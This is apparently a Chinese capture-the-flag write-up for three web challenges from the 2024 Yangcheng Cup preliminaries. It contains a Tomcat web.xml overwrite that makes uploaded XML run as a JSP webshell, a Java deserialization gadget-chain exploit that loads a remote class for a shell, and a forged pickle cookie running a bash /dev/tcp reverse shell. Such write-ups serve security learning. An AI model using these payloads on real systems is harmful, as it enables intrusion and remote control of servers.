2024羊城杯初赛(web)

发布于 2024-09-17  66 次阅读



tomtom2


任意文件读取 根据

发现路由在/opt/tomcat 接下来去读tomcat的配置文件

/opt/tomcat/conf/tomcat-users.xml

读到密码登录 发现只能上传xml文件

经过测试发现文件上传路径在

当前目录的uploads下面

于是我们考虑上传web.xml去覆盖tomcat的配置文件 使之解析xml为jsp

先上传一个正常的xml文件 里面是jsp木马 密码为passwd

然后再利用目录穿越覆盖配置文件

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
        <servlet>
            <servlet-name>default</servlet-name>
            <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
            <init-param>
                <param-name>debug</param-name>
                <param-value>0</param-value>
            </init-param>
            <init-param>
                <param-name>listings</param-name>
                <param-value>false</param-value>
            </init-param>
            <init-param>
                <param-name>readonly</param-name>
                <param-value>false</param-value>
            </init-param>
            <load-on-startup>1</load-on-startup>
        </servlet>
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.xml</url-pattern>
</servlet-mapping>
        <servlet-mapping>
            <servlet-name>default</servlet-name>
            <url-pattern>/</url-pattern>
        </servlet-mapping>
        <servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
    <init-param>
        <param-name>fork</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>xpoweredBy</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

</web-app>


然后访问发现被解析了


蚁剑连接


根目录下找到flag


ez_java


给了账号密码 登录后


这个路由存在反序列化


被过滤一些

java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString

存在明显的类加载

我们触发User的getGift,添加远程或者 本地类路径进⾏类加载

我们可以用jackson的链子来绕过CB链

⿊名单过滤了BadAttributeValueExpException,参考

https://www.aiwin.fun/index.php/archives/4420/ 这个⽂章,可以使⽤

UIDefaults$TextAndMnemonicHashMap绕过接着

因为这道题是出⽹的,所以直接打远程类加载


import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jackson {
    public static void main(String[] args) throws Exception {
        User user = new User("url:http://ip:port/","p2");

        POJONode jsonNodes = new POJONode(user);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(jsonNodes,"222");
        map2.put(jsonNodes,"111");
        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);
        Hashtable hashtable=new Hashtable();
        hashtable.put(map1,1);
        hashtable.put(map2,1);
        map1.put(jsonNodes, null);
        map2.put(jsonNodes, null);

        ByteArrayOutputStream clas = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(clas);
        objectOutputStream.writeObject(hashtable);
        Base64encode(clas);
    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void Base64encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
    }


}


自己写个恶意类 然后读取进行加载 放到vps上面

rO0ABXNyAAJwMgBqXZPeAcwlAgAAeHA=

然后利用url:绕过http:

首先第一次反序列化注入恶意类


然后第二次反序列化加载我们的恶意类


vps监听的端口收到请求


执行恶意类 收到shell


Lyrics For You

有个文件读取lyrics?lyrics=../../../../proc/self/cmdline

发现源码路径

lyrics?lyrics=../../../../usr/etc/app/app.py

根据源码导入的包

继续读

/lyrics?lyrics=/usr/etc/app/config/secret_key.py


这个key我们伪造cookie需要使用

lyrics=/usr/etc/app/cookie.py 

cookie的生成规则 也是伪造需要使用

然后看了一下源码就是简单的R指令绕过

直接给exp


from cookie import set_cookie, cookie_check, get_cookie,cookie_encode
import base64
secret = "EnjoyThePlayTime123456"
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
expp= cookie_encode(("user", opcode),secret)
print(expp)


喜欢web